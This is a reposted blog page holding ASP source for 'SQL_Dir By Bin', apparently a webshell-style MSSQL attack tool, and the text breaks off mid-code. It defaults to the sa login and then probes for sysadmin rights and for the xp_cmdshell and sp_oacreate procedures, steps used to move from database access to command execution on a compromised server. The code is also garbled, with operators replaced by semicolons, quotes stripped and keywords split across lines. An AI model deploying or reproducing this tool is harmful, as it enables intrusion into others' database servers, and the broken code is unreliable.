摘自：WowoS Blog
<title>SQL_Dir By Bin</title>
<style id=theStyle>
BODY {
FONT-SIZE: 9pt;
COLOR: #000000;
background-color: #ffffff;
FONT-FAMILY: "Courier New";
scrollbar-face-color:#E4E4F3;
scrollbar-highlight-color:#FFFFFF;
scrollbar-3dlight-color:#E4E4F3;
scrollbar-darkshadow-color:#9C9CD3;
scrollbar-shadow-color:#E4E4F3;
scrollbar-arrow-color:#4444B3;
scrollbar-track-color:#EFEFEF;
}
TABLE {
FONT-SIZE: 9pt;
FONT-FAMILY: "Courier New";
BORDER-COLLAPSE: collapse;
border-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: none;
border-left-style: solid;
border-color: #d8d8f0;
}
.tr {
font-family: "Courier New";
font-size: 9pt;
background-color: #e4e4f3;
text-align: center;
}
.td {
height: 24px;
font-size: 9pt;
background-color: #f9f9fd;
font-family: "Courier New";
}
input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}
textarea {
font-family: "Courier New";
BORDER-WIDTH: 1px;
FONT-SIZE: 12px;
color: #000000;
}
A:visited {
FONT-SIZE: 9pt;
COLOR: #333333;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:active {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:link {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:hover {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
tr {
font-family: "Courier New";
font-size: 9pt;
line-height: 18px;
}
td {
font-size: 9pt;
font-family: "Courier New";
border-width: 1px;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-color: #d8d8f0;
}
.trHead {
font-family: "Courier New";
height: 2px;
background-color: #e4e4f3;
line-height: 2px;
}
.fixSpan {
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
vertical-align: baseline;
}
.fixTable {
word-break: break-all;
word-wrap: break-
word;
}
#fileList span{
width: 120px;
line-height: 23px;
cursor: hand;
overflow: hidden;
padding-left: 5px;
white-space: nowrap;
text-overflow: ellipsis;
vertical-align: baseline;
border: 1px solid #ffffff;
}
</style>
<%if session("login")="" then%>
<%
Echo "<body onload=document.formx.pass.focus();>"
Echo "<table width=816 align=center>"
Echo "<form method=post name=formx action=?action=login>"
Echo "<tr>"
Echo "<td align=center class=td>数 据 库 连 接</td>"
Echo "</tr>"
Echo "<tr>"
Echo "<td height=75 align=center>"
Echo "IP：<input name=ip type=text style=border:1px solid #d8d8f0;background-color:#ffffff; value=localhost> "
Echo "PORT：<input name=port type=text style=border:1px solid #d8d8f0;background-color:#ffffff; value=1433> "
Echo "USER：<input name=user type=text style=border:1px solid #d8d8f0;background-color:#ffffff; value=sa> "
Echo "PASS：<input name=pass type=text style=border:1px solid #d8d8f0;background-color:#ffffff;> "
Echo "</td>"
Echo "</tr>"
Echo "<tr>"
Echo "<td align=center class=td><input type=submit value=LOGIN style=border:1px solid #d8d8f0;background-color:#f9f9fd;></td>"
Echo "</tr>"
Echo "<tr>"
Echo "<td align=center class=td>2007 @ SQL_DIR By Bin <br><a href=http://www.rootkit.net.cn target=_blank>
www.rootkit.net.cn</a></td>"
Echo "</tr>"
Echo "</form>"
Echo "</table>"
Echo "</body>"
%>
<%End If %>
<%
If request("action")="login" Then
SqlLocalName ="";request.Form("ip");",";request.Form("port");"" 连接IP [ 本地用 (local) 外地用IP ]
SqlUserName ="";request.Form("user");"" 用户名
SqlPass
word ="";request.Form("pass");"" 用户密码
SqlDatabaseName="sql" 数据库名
ConnStr = "Provider=Sqloledb;User ID=" ; SqlUserName ; "; Pass
word=" ; SqlPass
word ; "; Initial CataLog = " ; SqlDatabaseName ; "; Data Source=" ; SqlLocalName ; ";"
SqlNowString="GetDate()"
On Error Resume Next 容错
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.open ConnStr
If Err.number=-2147467259 Then
Echo "<script language=
javascript> alert(主机IP或者端口连接错误，请检查!);history.back(); </script>"
ElseIf Err.number=-2147217843 Then
Echo "<script language=
javascript> alert(用户名或者密码错误，请检查!);history.back(); </script>"
End If
If Err.number=0 Then
session("login")="yes"
session("user")=request.Form("user")
session("pass")=request.Form("pass")
session("ip")=request.Form("ip")
session("port")=request.Form("port")
End If
response.redirect"?action=tools"
End If
%>
<%
If request("action")="tools" or request("action")="" Then
If session("login")="yes" Then
%>
<%
rem----------------------------
数据库连接-----------------
ConnStr = "Provider=Sqloledb.1;User ID=" ;session("user"); "; Pass
word=" ;session("pass"); "; Initial CataLog = " ; SqlDatabaseName ; "; Data Source=" ; session("ip") ; ",";session("port");";"
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.open ConnStr
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
rem------------------------函数-------------
Sub Echo(sStr)
Response.Write sStr
End Sub
Function IIf(var, val1, val2)
If var = True Then IIf = val1 Else IIf = val2
End Function
const copyright = "Code By Bin<br><a href =
http://www.rootkit.net.cntarget=_blank>
www.rootkit.net.cn</a>"
RootPath = Server.MapPath("/")
Path=Request.ServerVariables("PATH_TRANSLATED")
Server_Name=Request.ServerVariables("SERVER_NAME")
IP=Request.ServerVariables("LOCAL_ADDR")
PORT=Request.ServerVariables("SERVER_PORT")
OS= Request.ServerVariables("OS")
OS= IIf(OS = "", "Windows2003", OS) ; ", " ; Request.ServerVariables("SERVER_SOFTWARE")
OS= OS ; ", " ; ScriptEngine ; "/" ; ScriptEngineMajorVersion ; "." ;ScriptEngineMinorVersion ; "." ; ScriptEngineBuildVersion
Curl=Request.ServerVariables("SCRIPT_NAME")
RequestUrl=Request.ServerVariables("Url")
URL="http://";Server_Name;Requesturl
rem--------------------------------------
rem-----------------------
数据库操作--------------------
Set rs = conn.execute("select @@version")
SQLversion=rs(0)
Set rs = Conn.execute("select db_name(0)")
DBname=rs(0)
Set rs = Conn.execute("select user")
DBuser=rs(0)
权限判断
Set rs = Conn.execute("Select IS_SRVROLEMEMBER(sysadmin)")
If rs(0)=1 Then
dbo="sa"
End If
Set rs = Conn.execute("Select IS_MEMBER(db_owner)")
If rs(0)=1 Then
dbo="db_owner"
Else
dbo="public"
End If
扩展判断
Set rs = Conn.execute("select count(*) from master.dbo.sysobjects where xtype=X and name=xp_cmdshell")
If rs(0)=1 Then
xp_cmdshell="XP_cmdshell √"
Else
xp_cmdshell="XP_cmdshell ×"
End If
Set rs = Conn.execute("select count(*) from master.dbo.sysobjects where xtype=X and name=sp_oacreate")
If rs(0)=1 Then
sp_oacreate="SP_oacreate √"
